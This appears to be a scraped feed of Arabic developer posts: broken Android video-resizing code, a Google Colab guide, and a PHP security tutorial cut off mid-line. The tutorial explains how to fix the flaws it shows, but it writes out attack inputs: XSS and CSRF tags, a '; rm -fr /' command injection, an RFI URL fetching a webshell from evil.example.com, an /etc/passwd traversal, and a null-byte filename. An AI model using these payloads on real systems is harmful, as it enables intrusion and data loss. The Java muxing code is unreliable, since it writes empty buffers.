=new File(Path); String inputpath=file.getPath().toString(); String filePath = file.getAbsolutePath().toString(); Log.e("tyyyyy", filePath);*/ try { convert2(); } catch (IOException e) { throw new RuntimeException(e); } } } public void convert2() throws IOException { dila = ProgressDialog.show(uploadved.this, "برجاء الانتظار", "جاري تجهيز الفيديو"); MediaMetadataRetriever retriever = new MediaMetadataRetriever(); retriever.setDataSource(uploadved.this,videoUri); String height = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_HEIGHT); Log.e("tyyyyy", "h" + height); String width = retriever.extractMetadata(MediaMetadataRetriever.METADATA_KEY_VIDEO_WIDTH); Log.e("tyyyyy", "w" + width); w = Integer.parseInt(width); h = Integer.parseInt(height); int quality = w * h / 1024 * 1024 / 1000; qul = String.valueOf(quality); Log.e("tyyyyy", qul); retriever.release(); if (h > 1024) { try { File file = new File(Environment.getExternalStoragePublicDirectory(Environment.DIRECTORY_DOWNLOADS), displayName + ".mp4"); file.createNewFile(); String outputPath = file.getPath().toString(); Log.d("tyyyyy", "outpath is " + outputPath); retriever.setDataSource(uploadved.this,videoUri); Bitmap bmp = retriever.getFrameAtTime(); int newWidth = 576; int newHeight = 1024; Bitmap resizedBmp = Bitmap.createScaledBitmap(bmp, newWidth, newHeight, true); retriever.release(); // Save the video to the phone MediaMuxer muxer = new MediaMuxer(outputPath, MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4); // Add the video track int videoTrackIndex = muxer.addTrack(MediaFormat.createVideoFormat(outputPath, newWidth, newHeight)); String aduo = String.valueOf(videoTrackIndex); Log.e("tyyyyy", "videoResolution" + "=" + aduo); // Add the audio track int audioTrackIndex = muxer.addTrack(MediaFormat.createAudioFormat(outputPath, 44100, 2)); String adad = String.valueOf(audioTrackIndex); Log.e("tyyyyy", "videoResolution" + "=" + adad); // Start writing to the muxer muxer.start(); // Write the video frames to the muxer ByteBuffer buffer = ByteBuffer.allocateDirect(1024 * 1024); int[] pixels = new int[resizedBmp.getWidth() * resizedBmp.getHeight()]; for (int i = 0; i < resizedBmp.getHeight(); i++) { buffer.clear(); resizedBmp.getPixels(pixels, 0, resizedBmp.getWidth(), 0, i, resizedBmp.getWidth(), resizedBmp.getHeight()); byte[] bytes = new byte[buffer.limit()]; for (int j = 0; j < bytes.length; j++) { bytes[j] = buffer.get(j); } MediaCodec.BufferInfo info = new MediaCodec.BufferInfo(); info.offset = 0; info.size = bytes.length; muxer.writeSampleData(videoTrackIndex, buffer, info); } // Write the audio samples to the muxer short[] samples = new short[resizedBmp.getWidth() * resizedBmp.getHeight()]; int[] intSamples = new int[samples.length]; for (int i = 0; i < resizedBmp.getHeight(); i++) { buffer.clear(); resizedBmp.getPixels(intSamples, 0, resizedBmp.getWidth(), 0, i, resizedBmp.getWidth(), resizedBmp.getHeight()); for (int j = 0; j < samples.length; j++) { buffer.putShort((short) intSamples[j]); } byte[] bytes = buffer.array(); MediaCodec.BufferInfo info = new MediaCodec.BufferInfo(); info.offset = 0; info.size = bytes.length; muxer.writeSampleData(audioTrackIndex, buffer, info); } // Stop writing to the muxer muxer.stop(); muxer.release(); uritoupload = Uri.parse(outputPath); vedgetr.setMediaController(new MediaController(this)); dila.dismiss(); vedgetr.setVideoURI(uritoupload); vedgetr.start(); } catch (IOException e) { Log.e("tyyyyy", "catch" + e.getMessage().toString()); } } else if (w > 576) { try { Bitmap bmp = retriever.getFrameAtTime(); int newWidth = 576; int newHeight = 1024; Bitmap resizedBmp = Bitmap.createScaledBitmap(bmp, newWidth, newHeight, true); retriever.release(); File newVideoFile = new File(Environment.getExternalStorageDirectory(), "new_video.mp4"); // Save the video to the phone MediaMuxer muxer = new MediaMuxer(newVideoFile.getPath(), MediaMuxer.OutputFormat.MUXER_OUTPUT_MPEG_4); // Add the video track int videoTrackIndex = muxer.addTrack(MediaFormat.createVideoFormat(newVideoFile.getPath(), newWidth, newHeight)); String aduo = String.valueOf(videoTrackIndex); Log.e("tyyyyy", "videoResolution" + "=" + aduo); // Add the audio track int audioTrackIndex = muxer.addTrack(MediaFormat.createAudioFormat(newVideoFile.getPath(), 44100, 2)); String adad = String.valueOf(videoTrackIndex); Log.e("tyyyyy", "videoResolution" + "=" + adad); // Start writing to the muxer muxer.start(); // Write the video frames to the muxer ByteBuffer buffer = ByteBuffer.allocateDirect(1024 * 1024); int[] pixels = new int[resizedBmp.getWidth() * resizedBmp.getHeight()]; for (int i = 0; i < resizedBmp.getHeight(); i++) { buffer.clear(); resizedBmp.getPixels(pixels, 0, resizedBmp.getWidth(), 0, i, resizedBmp.getWidth(), resizedBmp.getHeight()); byte[] bytes = new byte[buffer.limit()]; for (int j = 0; j < bytes.length; j++) { bytes[j] = buffer.get(j); } MediaCodec.BufferInfo info = new MediaCodec.BufferInfo(); info.offset = 0; info.size = bytes.length; muxer.writeSampleData(videoTrackIndex, buffer, info); } // Write the audio samples to the muxer short[] samples = new short[resizedBmp.getWidth() * resizedBmp.getHeight()]; int[] intSamples = new int[samples.length]; for (int i = 0; i < resizedBmp.getHeight(); i++) { buffer.clear(); resizedBmp.getPixels(intSamples, 0, resizedBmp.getWidth(), 0, i, resizedBmp.getWidth(), resizedBmp.getHeight()); for (int j = 0; j < samples.length; j++) { buffer.putShort((short) intSamples[j]); } byte[] bytes = buffer.array(); MediaCodec.BufferInfo info = new MediaCodec.BufferInfo(); info.offset = 0; info.size = bytes.length; muxer.writeSampleData(audioTrackIndex, buffer, info); } // Stop writing to the muxer muxer.stop(); muxer.release(); uritoupload = Uri.parse(newVideoFile.getPath()); vedgetr.setMediaController(new MediaController(this)); dila.dismiss(); vedgetr.setVideoURI(uritoupload); vedgetr.start(); } catch (IOException e) { Log.e("tyyyyy", "catch" + e.toString()); } } else { vedgetr.setMediaController(new MediaController(this)); dila.dismiss(); vedgetr.start(); } }1 نقطة
-
يُعَد Google Colab نسخةً سحابيةً مجانيةً من Jupyter، تعمل على خوادم غوغل السحابية، والتي تتيح للمستخدم الاستفادة من العديد من الميزات مثل وحدة معالجة الرسومات GPU والذاكرة الإضافية والأجهزة الخلفية، ويمكّنه من القيام بكل الوظائف التي يتم تنفيذها عادةً على برنامج Jupyter Notebook المُثبّت على جهاز الحاسوب دون الحاجة إلى تهيئة أي إعدادات. يقدم غوغل كولاب جميع الإعدادات التي تحتاجها لبدء تنفيذ مشاريعك البرمجية المتعلقة بعلم البيانات والتعلم العميق. سنقدم لك في هذا المقال دليلًا لكيفية استخدام غوغل كولاب، وكيفية تشغيل التعليمات البرمجية والاستفادة من الميزات العديدة المتوافرة. كيف أبدأ مع Google Colab؟ الطريقة الأولى هي بالانتقال إلى حسابك على Google Drive، ثم في الزاوية العلوية اليمنى اضغط على "جديد"، ثم حدد "المزيد" في اللوحة المنسدلة، ثم "Google Collaboratory"، لتنتقل إلى صفحة غوغل كولاب كما توضح لقطة الشاشة التالية: ولفتح مستند غوغل كولاب موجودٍ مسبقًا، انقر فوقه بزر الفأرة الأيمن وحدد فتح باستخدام Google Colaboratory. يمكنك تسمية المستند من خلال النقر على مربع التسمية الموجود في الزاوية العلوية اليسرى، وستُحفظ جميع المستندات والملفات التي تنشئها في حسابك على غوغل درايف. الطريقة الثانية هي من خلال الانتقال إلى موقع غوغل كولاب وستظهر بعد ذلك نافذةٌ منبثقة تحتوي على علامات التبويب التالية: Examples: تحوي عددًا من دفاتر Jupyter لأمثلة مختلفة. Recent: تحتوي مستندات Jupyter Notebooks التي أنشأتها مؤخرًا. Google Drive: تحتوي مستندات Jupyter Notebooks المحفوظة في حسابك على غوغل درايف. GitHub: تمكّنك من فتح مستندات Jupyter Notebooks الموجودة في موقع GitHub، ولكنك تحتاج أولًا إلى ربط حسابك في GitHub مع حسابك على Google Colab. Upload: لتحميل مستندات Jupyter Notebooks على جهازك. كما يمكنك النقر فوق زر "New Notebook" لإنشاء دفترٍ جديد. عند إنشاء دفتر ملاحظات جديد Notebook، سيُحفظ ضمن ملفات حسابك على غوغل درايف ضمن مجلد يسمى "Colab Notebooks". يمكنك تعديل المظهر إلى الوضع المظلم وتعيين روابط وألوان مفاتيح المحرر وتغيير حجم الخط من الإعدادات، كما يمكنك تخصيص هذه الميزات وفق تفضيلاتك. ويمكنك عرض جدول محتويات دفتر الملاحظات في شريط المهام الأيسر، إذ يساعدك هذا الجدول على تنظيم الملف وتسهيل الوصول إلى التعليمات البرمجية. هذا إلى جانب توفر أداة بحث وأداة استبدال أيضًا. عند الاتصال، ستظهر هذه المؤشرات في الجانب العلوي الأيمن وتدل على حجم استهلاك ذاكرة الوصول العشوائي واستخدام الجهاز: كيفية إنشاء دفتر ملاحظات جديد في غوغل كولاب انتقل إلى علامة التبويب "File" في القائمة العلوية واختر "New notebook". ستُفتح نافذةٌ جديدة، هي صفحة notebook، كما توضح الصورة التالية: هناك تشابه كبير بين صفحة دفتر الملاحظات في غوغل كولاب، وصفحة دفتر لملاحظات في Jupyter. يوجد حقل لكتابة التعليمات البرمجية وزر لتشغيلها على الجانب الأيسر. ويوجد نوعان من الخلايا في صفحة دفتر الملاحظات، النوع الأول و خلية التعليمات البرمجية "code" والثاني هو خلية نصية "text". خلية التعليمات البرمجية code تحتوي خلية التعليمات البرمجية على التعليمات البرمجية القابلة للتنفيذ. وتتميز بوجود زر تشغيل على يسارها يتيح لك تنفيذ محتويات الخلية. عند تشغيل خلية يُعرَض الخرج أسفل الخلية. خلية نصية يمكن أن تحتوي الخلية النصية على نصوص وصور وروابط وغير ذلك الكثير، كما يمكنك إضافة التعليقات وتحرير النص وتعديله وإضافة الصور والرموز. يمكنك النقر بشكل مزدوج فوق خلية نصية لتحرير محتوياتها. ويُظهر النصف الأيمن من الخلية كيف سيتم عرض خلية النص عند الانتهاء من التحرير. يوجد خيار لإضافة حقل جديد بالضغط على زر "+code"، ويمكنك إضافة نص جديد بالضغط على زر "+text". كيفية تغيير ترتيب الخلية أو حذفها يمكنك تغيير ترتيب الخلية باستخدام خيار السهم المتواجد أعلى الزاوية اليمنى للخلية، إذ سينقلها السهم نحو الأعلى بمقدار خليةٍ واحدة، ويحرك السهم نحو الأسفل الخلية الحالية لأسفل بمقدار خلية واحدة. يمكنك أيضًا حذف أي خلية غير مرغوب بها باستخدام أيقونة الحذف المتوفرة أعلى الخلية. كيفية تغيير بيئة التشغيل والتحكم بها تتمثل إحدى أهم الميزات التي يقدمها غوغل كولاب في إمكانية اختيار وحدة معالجة الرسومات GPU أو وحدة المعالجة المركزية TPU، ولا داعي للقلق بشأن عبء العمل، وذلك بفضل ميزة التخزين السحابي التي توفرها هذه المنصة. الخطوة الأولى: التحكم بوقت التشغيل من خلال تغيير إعدادات وقت التشغيل، وذلك بالانتقال إلى علامة التبويب "Runtime"، ثم اختيار "change runtime type". الخطوة الثانية: ستظهر نافذة جديدة يمكنك من خلالها تسريع وقت التشغيل باختيار نوع التقنية التي ترغب باستخدامها، إذ يمكن اختيار وحدة معالجة الرسومات GPU أو TPU أو لا شيء، كما توضح لقطة الشاشة التالية: يمكنك التأكد من توصيل وحدة معالجة الرسومات من العلامة الخضراء في أعلى يمين الصفحة. وستظهر تفاصيل وحدة معالجة الرسومات مثل ذاكرة الوصول العشوائي وتخزين القرص. كيفية التحقق من استخدام وحدة معالجة الرسومات GPU يمكنك كتابة بعض التعليمات البرمجية للتحقق من نوع التقنية المستخدمة في بيئة التشغيل. وللتحقق من استخدام وحدة GPU، اكتب التعليمات التالية في الحقل المخصص لكتابة الشيفرات البرمجية: import tensorflow as tf tf.test.gpu_device_name() ثم انقر على زر التشغيل. إذا كان الخرج هو: '/device:GPU:0' فإن وحدة معالجة الرسومات GPU مستخدمةٌ في بيئة التشغيل. وهذا موضح بالصورة التالية: وفي حال كانت وحدة GPU غير مستخدمة، فسيكون الخرج كما في الصورة كيفية التحقق من استخدام وحدة TPU للتحقق من استخدام وحدة TPU، اكتب التعليمات التالية في الحقل المخصص لكتابة الشيفرات البرمجية: import os if 'COLAB_TPU_ADDR' not in os.environ: print('Not connected to TPU') else: print("Connected to TPU") في حال كانت مستخدمةً سيكون الخرج: Connected to TPU وفي حال كانت غير مستخدمة، سيكون الخرج: Not connected to TPU وهذا مُوضّح في لقطة الشاشة التالية: كيف يمكن تثبيت المكتبات في Google Colab؟ يُعد استيراد المكتبات وتثبيتها في Google Colab سهلًا للغاية، حيث تحتاج فقط إلى استخدام أمر التثبيت، متبوعًا باسم المكتبة التي تريد تثبيتها. من أهم ميزات غوغل كولاب أنه يأتي مع العديد من المكتبات المُثبّتة مسبقًا، والتي يمكنك استخدامها مباشرةً. عمليات التثبيت تستمر فقط خلال الجلسة الواحدة، وعند إغلاق الجلسة عليك إعادة تشغيل عمليات التثبيت. يمكنك التحقق من إصدار المكتبة الذي تستخدمه، وذلك من خلال التعليمة pip show، ثم اسم المكتبة. ولتحديث مكتبةٍ مثبتةٍ أساسًا، استخدِم التعليمة pip install–upgrade، ثم اسم المكتبة. كيف يمكن حفظ دفتر ملاحظات Google colab في github؟ لحفظ دفتر ملاحظات Google Colab في GitHub، ستنتقل إلى قسم "file" من القائمة العلوية. وحدِّد "save a copy in github". ستظهر نافذة منبثقة تطلب منك الحصول على الإذن. كيفية مشاركة المستندات في Google Colab من الميزات الرائعة التي يقدمها Google colab، نجد إمكانية مشاركة التعليمات البرمجية وتشغيلها باستخدام أكثر من جهاز، إذ يؤمّن بيئةً مثالية لمشاركة مستندات Notebook وتشغيلها دون الحاجة إلى إعداد البيئة البرمجية. يتيح غوغل كولاب إمكانية التعاون في الوقت الفعلي، تمامًا كما هو الحال في محرر مستندات غوغل؛ إذ يمكنك مشاركة مستندات غوغل كولاب مع الأشخاص مع إمكانية تعيين أدوار مختلفة لهم كمشاهدين أو معلقين أو محررين. ويمكنك مشاركة أي مستند Notebook باستخدام خيار المشاركة المتاح أعلى يمين الشاشة. ما هي الميزات التي يمكنك استخدامها في Google Colab؟ الحزم: معظم الحزم المتعلقة بعلوم البيانات والتي ستحتاجها في مشاريعك مثبتةٌ مسبقًا على Google colab. وخاصةً الحزم التي توفرها غوغل مثل Tensorflow، حيث تسمح لك هذه الحزمة باستخدام لغة البرمجة Swift مع Tensorflow مباشرةً في دفتر كولاب. موارد الحوسبة: يمكن استخدام Google colab لتوسيع موارد الحوسبة في جهازك، إذ يوفر Google Colab مواردَ حوسبة مجانية، تساعدك على تدريب الشبكات العصبونية ومعالجة البيانات الضخمة. ويقدم كولاب وحدات TPU، وهي وحدات متطورة عن وحدات GPU وأكثر سرعةً ومناسبةً لتنفيذ مشاريع التعلم العميق. إمكانية المشاركة: يمكن استخدام غوغل كولاب لتنفيذ المشاريع الجماعية، لأنه يمكن مشاركة دفاتر كولاب على غوغل درايف بسهولة. خاتمة يوفر لك غوغل كولاب جميع الأدوات التي تحتاجها لبناء نماذج التعلم الآلي أو التعلم العميق، ويمكنك استخدامه بسهولة كما وضحّنا في المقال. تحاول غوغل إيجاد الحلول لمعظم المشكلات التي تواجه المستخدمين، ويُعد غوغل كولاب حلًا مثاليًا لملايين الطلاب والمستخدمين المهتمين بعلوم البيانات. اقرأ أيضًا كيفية التعامل مع البيانات في Google Colab أهم النصائح للاستفادة من ميزات Google Colab1 نقطة
-
إنّ أمن التطبيقات موضوع مهم لمطوري PHP لحماية المواقع والبيانات والعملاء بما أنّ أغلب المواقع تستخدم PHP، يغطي هذا الموضوع أفضل ممارسات الأمان في PHP والثغرات ونقاط الضعف الشائعة مع أمثلة لكيفية إصلاحها. تسريب إصدار PHP بشكل افتراضي تُخبر PHP الآخرين بالإصدار الذي تستخدمه مثال: X-Powered-By: PHP/5.3.8 لإصلاح ذلك يمكنك إما تغييره في ملف php.ini: expose_php = off أو تغيير الترويسة: header("X-Powered-By: Magic"); أو استخدام طريقة htaccess: Header unset X-Powered-By إذا لم تعمل كل الطرق السابقة يمكنك استخدام الدالة header_remove() التي توفر لك قابلية حذف الترويسة: header_remove('X-Powered-By'); إذا عرف المهاجمون أنك تستخدم PHP والإصدار الذي تستخدمه فيكون من السهل عليهم استغلال خادمك. هجمات البرمجة عبر المواقع (XSS) المشكلة هجمات البرمجة عبر المواقع XSS هي التنفيذ غير المقصود للشيفرة البعيدة من قِبل عميل ويب، قد يعرّض أي تطبيق ويب نفسه لهذه الهجمات إذا كان يأخذ مدخلات من المستخدم ويعرضها مباشرةً في صفحة الويب، إذا كانت المدخلات تتضمن شيفرة HTML أو جافاسكربت فيمكن تنفيذ الشيفرة عن بعد عندما يرسل عميل الويب محتوى ما. مثلًا إذا كان لدينا طرف ثالث يحتوي على ملف جافاسكربت: // http://example.com/runme.js document.write("I'm running"); وتطبيق PHP يعرض مباشرةً سلسلة نصية ممررة إليه: <?php echo '<div>' . $_GET['input'] . '</div>'; إذا تضمن معامل GET غير المُتحقق منه، ما يلي: <script src="http://example.com/runme.js"></script> فسيكون خرج سكربت PHP: <div><script src="http://example.com/runme.js"></script></div> سيُنفَّذ ملف جافاسكربت من طرف ثالث وسترى العبارة "I'm running" على صفحة الويب. الحل عمومًا، يجب ألا تثق أبدًا بالمدخلات من طرف العميل، إذ أنّ قيمة GET أو POST أو ملف تعريف ارتباط cookie يمكن أن تكون أي شيء لذا يجب التحقق من صحتها، عند عرض أي من هذه القيم اهرب بها حتى لا تُقيَّم بطريقة غير متوقعة، وتذكر أنّ البيانات يمكن أن تُنقل حتى في أبسط التطبيقات وسيكون من الصعب تتبع جميع المصادر لذا من المناسب دائمًا أن تهرِّب القيم عند الإخراج، توفر PHP عدة طرق لتهرِّب الخرج بالاعتماد على السياق. الدوال المرشحة تسمح دوال الترشيح في PHP بتعقيم أو التحقق من صحة البيانات المُدخلة إلى سكربت PHP بعدة طرق. وهي مفيدة عند حفظ أو عرض دخل المستخدم. ترميز HTML تحوّل htmlspecialchars أي محارف HTML خاصة إلى ترميزات HTML الخاصة بها، مما يعني أنّها لن تُعالَج بعدها كترميز HTML المعياري، نستخدم التابع التالي لإصلاح مثالنا السابق: <?php echo '<div>' . htmlspecialchars($_GET['input']) . '</div>'; // أو echo '<div>' . filter_input(INPUT_GET, 'input', FILTER_SANITIZE_SPECIAL_CHARS) . '</div>'; الخرج: <div><script src="http://example.com/runme.js"></script></div> كل ما هو داخل وسم <div> لن يفسّره المتصفح كوسم جافاسكربت وإنّما كعقدة نصية بسيطة وسيرى المستخدم بأمان: <script src="http://example.com/runme.js"></script> ترميز الرابط توفر PHP الدالة urlencode لإخراج روابط صحيحة بأمان عند عرض رابط متولِّد ديناميكيًا. لذا إذا كان المستخدم قادرًا على إدخال بيانات تصبح جزءًا من معامل GET آخر: <?php $input = urlencode($_GET['input']); // أو $input = filter_input(INPUT_GET, 'input', FILTER_SANITIZE_URL); echo '<a href="http://example.com/page?input="' . $input . '">Link</a>'; سيُحوَّل أي دخل ضار إلى معامل رابط مُرمَّز. استخدام مكتبات خارجية متخصصة أو قوائم OWASP AntiSamy قد تحتاج أحيانًا إلى إرسال شيفرة HTML أو نوع شيفرة آخر مُدخل، عندها يجب أن تحتفظ بقائمة من الكلمات المصرَّح بها (قائمة بيضاء) وقائمة بالكلمات غير المصرَّح بها (قائمة سوداء)، يمكنك تحميل القوائم المعيارية المتوفرة في موقع OWASP AntiSamy، وهي اختصار إلى Open Web Application Security Project، تناسب كل قائمة نوع محدد من التفاعل (واجهة برمجة تطبيقات eBay، محرر النصوص tinyMCE وغير ذلك) وهي مفتوحة المصدر. يوجد مكتبات لترشيح شيفرة HTML ومنع هجمات XSS في الحالة العامة وتؤدي على الأقل نفس أداء قوائم AntiSamy مع استخدام سهل جدًا. لديك مثلًا منقي HTML. هجمات تزوير الطلب عبر المواقع (Cross-Site Request Forgery) المشكلة يمكن أن يفرض هجوم تزوير الطلب عبر الموقع CSRF المستخدم النهائي على توليد طلبات ضارة إلى خادم الويب بدون علمه، يمكن استغلال هذا الهجوم في طلبات POST وGET، لنفرض مثلًا أنّ رابط نقطة النهاية /delete.php?accnt=12 يحذف الحساب الممرر عبر المعامل accnt في الطلب GET، إذا واجه الآن المستخدم الموثوق السكربت التالي في أي تطبيق آخر: <img src="http://domain.com/delete.php?accnt=12" width="0" height="0" border="0"> سيُحذف الحساب. الحل الحل الشائع لهذه المشكلة هو استخدام مفاتيح CSRF (CSRF tokens)، تُضمَّن هذه المفاتيح في الطلبات بحيث يمكن لتطبيق الويب أن يثق أنّ الطلب قادم من مصدر متوقع كجزء من تدفق العمل العادي للتطبيق، يقوم المستخدم أولًا ببعض الإجراءات مثل عرض نموذج يبدأ بإنشاء مفتاح فريد، مثال بسيط لذلك: <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<randomToken>" /> <input type="submit" /> </form> يمكن بعدها أن يتحقق الخادم من صحة المفتاح مقابل جلسة المستخدم بعد إرسال النموذج لإزالة الطلبات الضارة. مثال إليك المثال التالي: // الشيفرة التالية لتوليد مفتاح CSRF وتخزينه <?php session_start(); function generate_token() { // التحقق من وجود مفتاح لهذه الجلسة if(!isset($_SESSION["csrf_token"])) { // لا يوجد مفتاح لذا ولّد واحدًا جديدًا $token = random_bytes(64); $_SESSION["csrf_token"] = $token; } else { // أعد استخدام المفتاح $token = $_SESSION["csrf_token"]; } return $token; } ?> <body> <form method="get" action="/delete.php"> <input type="text" name="accnt" placeholder="accnt number" /> <input type="hidden" name="csrf_token" value="<?php echo generate_token();?>" /> <input type="submit" /> </form> </body> ... // الشيفرة التالية للتحقق من صحة المفتاح وحذف الطلبات الضارة ... <?php session_start(); if ($_GET["csrf_token"] != $_SESSION["csrf_token"]) { // أعد تعيين المفتاح unset($_SESSION["csrf_token"]); die("CSRF token validation failed"); } ?> ... يوجد العديد من المكتبات وأطر العمل التي لها تنفيذ خاص بها للتحقق من صحة CSRF، وبالرغم من أنّ تنفيذ CSRF هذا بسيط فأنت تحتاج إلى كتابة بعض الشيفرة لإعادة توليد مفتاح CSRF ديناميكيًا لمنع سرقة مفتاح CSRF وتحديده. حقن سطر الأوامر المشكلة يسمح حقن SQL للمهاجم بتنفيذ استعلامات عشوائية على قاعدة البيانات، وبطريقة مشابهة فإنّ هجوم حقن سطر الأوامر يسمح للمهاجم بتنفيذ أوامر نظام غير موثوق بها على خادم ويب. ومع وجود خادم غير آمن بشكلٍ صحيح فإنّ هذا يعطي المهاجم تحكمًا كاملًا بالنظام. لنفرض مثلًا أنّ لدينا سكربت يسمح للمستخدم بالحصول على قائمة بمحتويات مجلد على خادم الويب. <pre> <?php system('ls ' . $_GET['path']); ?> </pre> يستخدم الشخص في التطبيقات الحقيقية دوال PHP مضمنة أو كائنات للحصول على محتويات المسار، لكن هذا المثال لإثبات أمني بسيط. قد تتأمل الحصول على معامل مسار بشكلٍ مشابه للمعامل /tmp ولكن بما أنّ أي دخل مسموح به فمن الممكن أن يكون ; rm -fr /، عندها سينفذ خادم الويب الأمر: ls; rm -fr / ويحاول حذف كل الملفات من المجلد الجذر للخادم. الحل يجب أن تُهرَّب جميع وسائط الأمر باستخدام الدالة escapeshellarg() أو escapeshellcmd() مما يجعلها غير قابلة للتنفيذ كما يجب أن يتم التحقق من صحة كل قيمة مدخلة. في أبسط الحالات يمكننا تأمين مثالنا بالشكل التالي: <pre> <?php system('ls ' . escapeshellarg($_GET['path'])); ?> </pre> وفقًا للمثال السابق، مع محاولة حذف الملفات يصبح الأمر المنفّذ: ls '; rm -fr /' وتُمرَّر السلسلة النصية ببساطة كمعامل للأمر ls بدلًا من إنهاء هذا الأمر وتنفيذ الأمر rm. يجب الإشارة إلى أنّ المثال في الأعلى أصبح آمنًا الآن من هجوم حقن الأوامر لكن ليس من اجتياز traversal المجلد، ولإصلاح ذلك يجب التحقق من أنّ المسار الطبيعي يبدأ بالمجلد الفرعي المرغوب به. توفر PHP دوالًا متنوعة لتنفيذ أوامر النظام مثل كلّ من: exec. passthru proc_open shell_exec system حيث يجب التحقق من صحة جميع مدخلاتها وتهريبها. إزالة الوسوم إنّ الدالة strip_tags دالة قوية جدًا إذا كنت تعرف كيفية استخدامها، وتوجد طرق أفضل لمنع هجمات البرمجة عبر المواقع مثل ترميز المحارف لكن إزالة الوسوم مفيدة في بعض الحالات. انظر المثال الأساسي التالي: $string = '<b>Hello,<> please remove the <> tags.</b>'; echo strip_tags($string); الخرج الخام الناتج: Hello, please remove the tags. بفرض أنك تريد السماح بوجود وسم معين، عندها يجب أن تحدد ذلك في المعامل الثاني للدالة، هذا المعامل اختياري، فمثلًا إذا أردت السماح بمرور الوسم <b> فقط. $string = '<b>Hello,<> please remove the <br> tags.</b>'; echo strip_tags($string, '<b>'); الخرج الخام للشيفرة السابقة: <b>Hello, please remove the tags.</b> ملاحظة: إنّ تعليقات HTML ووسوم PHP تُزال أيضًا وهذا لا يمكن تغييره، وفي الإصدار PHP 5.3.4 والإصدارات اللاحقة تُهمل وسوم XHTML ذاتية الإغلاق وتُستخدم فقط الوسوم غير ذاتية الإغلاق فمثلًا للسماح بالوسمين <br> و<br/> يجب أن تستخدم: <?php strip_tags($input, '<br>'); ?> إدراج ملف إدراج ملف بعيد يعد إدراج ملف بعيد RFI نوعًا من الثغرات التي تسمح للمهاجم بتضمين ملف بعيد، يحقن هذا المثال ملفًا مستضافًا عن بعد يتضمن شيفرة ضارة: <?php include $_GET['page']; /vulnerable.php?page=http://evil.example.com/webshell.txt? إدراج ملف محلي إدراج ملف محلي LFI في عملية تضمين الملفات على الخادم عبر متصفح الويب. <?php $page = 'pages/'.$_GET['page']; if(isset($page)) { include $page; } else { include 'index.php'; } /vulnerable.php?page=../../../../etc/passwd حل RFI وLFI يُنصح بالسماح بتضمين الملفات التي توافق عليها فقط. <?php $page = 'pages/'.$_GET['page'].'.php'; $allowed = ['pages/home.php','pages/error.php']; if(in_array($page,$allowed)) { include($page); } else { include('index.php'); } الإبلاغ عن الأخطاء تُظهر PHP افتراضيًا رسائل الخطأ والتحذيرات والملاحظات مباشرةً على الصفحة إذا حدث شيء ما غير متوقع في السكربت، وهذا مفيد لحل مشاكل معينة لكن في نفس الوقت يعرض معلومات لا تريد أن يعرفها المستخدمين، لذا يعد تجنب عرض هذه الرسائل التي تظهر معلومات خادمك مثل شجرة المجلدات في بيئة الإنتاج ممارسةً جيدة، أما في بيئة التطوير أو الاختبار فإنّ عرض هذه الرسائل يكون مفيدًا لتنقيح الأخطاء. حل سريع يمكنك إيقاف تشغيل عرض هذه الرسائل بشكلٍ كامل لكن هذا يجعل عملية تنقيح أخطاء السكربت أصعب. <?php ini_set("display_errors", "0"); ?> أو تغيير هذا مباشرةً في ملف php.ini: display_errors = 0 معالجة الأخطاء إن الخيار الأفضل دائمًا هو تخزين رسائل الخطأ هذه في مكان ما مثل قاعدة البيانات. set_error_handler(function($errno , $errstr, $errfile, $errline){ try{ $pdo = new PDO("mysql:host=hostname;dbname=databasename", 'dbuser', 'dbpwd', [ PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION ]); if($stmt = $pdo->prepare("INSERT INTO `errors` (no,msg,file,line) VALUES (?,?,?,?)")){ if(!$stmt->execute([$errno, $errstr, $errfile, $errline])){ throw new Exception('Unable to execute query'); } } else { throw new Exception('Unable to prepare query'); } } catch (Exception $e){ error_log('Exception: ' . $e->getMessage() . PHP_EOL . "$errfile:$errline:$errno | $errstr"); } }); ستسجل هذه الطريقة الرسائل في قاعدة البيانات وإذا فشلت في ذلك ستسجلها في ملف بدلًا من عرضها مباشرةً في الصفحة، وبذلك يمكنك تتبع ما يواجهه المستخدمون في موقعك وملاحظة وجود أي خطأ مباشرةً. رفع ملفات إذا أردت السماح للمستخدمين برفع ملفات إلى خادمك تحتاج إلى مضاعفة التحقق الأمني قبل أن ينتقل الملف المرفوع إلى الخادم مباشرةً. البيانات المرفوعة تحتوي هذه المصفوفة على بيانات مُرسلة من قبل مستخدم وهي ليست معلومات عن الملف، بينما يولّد المتصفح هذه البيانات يمكن للمستخدم إرسال طلب بالطريقة post إلى نفس النموذج باستخدام برنامج. $_FILES['file']['name']; $_FILES['file']['type']; $_FILES['file']['size']; $_FILES['file']['tmp_name']; name: تحقق منه بالكامل type: لا تستخدم هذه البيانات أبدًا، يمكن الحصول عليها باستخدام دوال PHP بدلًا من ذلك. size: آمن للاستخدام. tmp_name: آمن للاستخدام. استغلال اسم الملف لا يسمح نظام التشغيل بشكلٍ طبيعي بوجود محارف خاصة في اسم الملف، لكن يمكنك إضافتهم من خلال انتحال الطلب مما يسمح بحدوث أشياء غير متوقعة فمثلًا ليكن لدينا اسم الملف: ../script.php%00.png تفحّص اسم الملف ويجب أن تلاحظ أمرين: الأول هو أنّ وجود ../ غير منطقي أبدًا في اسم الملف، لكن في نفس الوقت جيد إذا كنت تنقل ملفًا من مجلد إلى آخر. قد تعتقد الآن أنك كنت تتحقق من امتدادات الملف بشكلٍ صحيح في السكربت، لكن يعتمد هذا الاستغلال على فك تشفير الرابط، إذ يترجم %00 إلى المحرف null ويقول لنظام التشغيل أن السلسلة انتهت هنا مما يزيل .png من اسم الملف. حمّلت الآن ملف script.php إلى مجلد آخر بتمرير عمليات تحقق بسيطة إلى امتدادات الملف وبتمرير ملفات .htaccess مما يمنع تنفيذ السكربتات من ضمن مجلدك المرفوع. الحصول على اسم الملف والامتداد بشكلٍ آمن يمكنك استخدام الدالة pathinfo() لاستقراء الاسم والامتداد بطريقةٍ آمنة، لكننا نحتاج أولًا لاستبدال المحارف غير المرغوب بها في اسم الملف: // تتضمن هذه المصفوفة قائمة بالمحارف غير المسموح بها في اسم الملف $illegal = array_merge(array_map('chr', range(0,31)), ["<", ">", ":", '"', "/", "\\", "|", "?","*", " "]); $filename = str_replace($illegal, "-", $_FILES['file']['name']); $pathinfo = pathinfo($filename); $extension = $pathinfo['extension'] ? 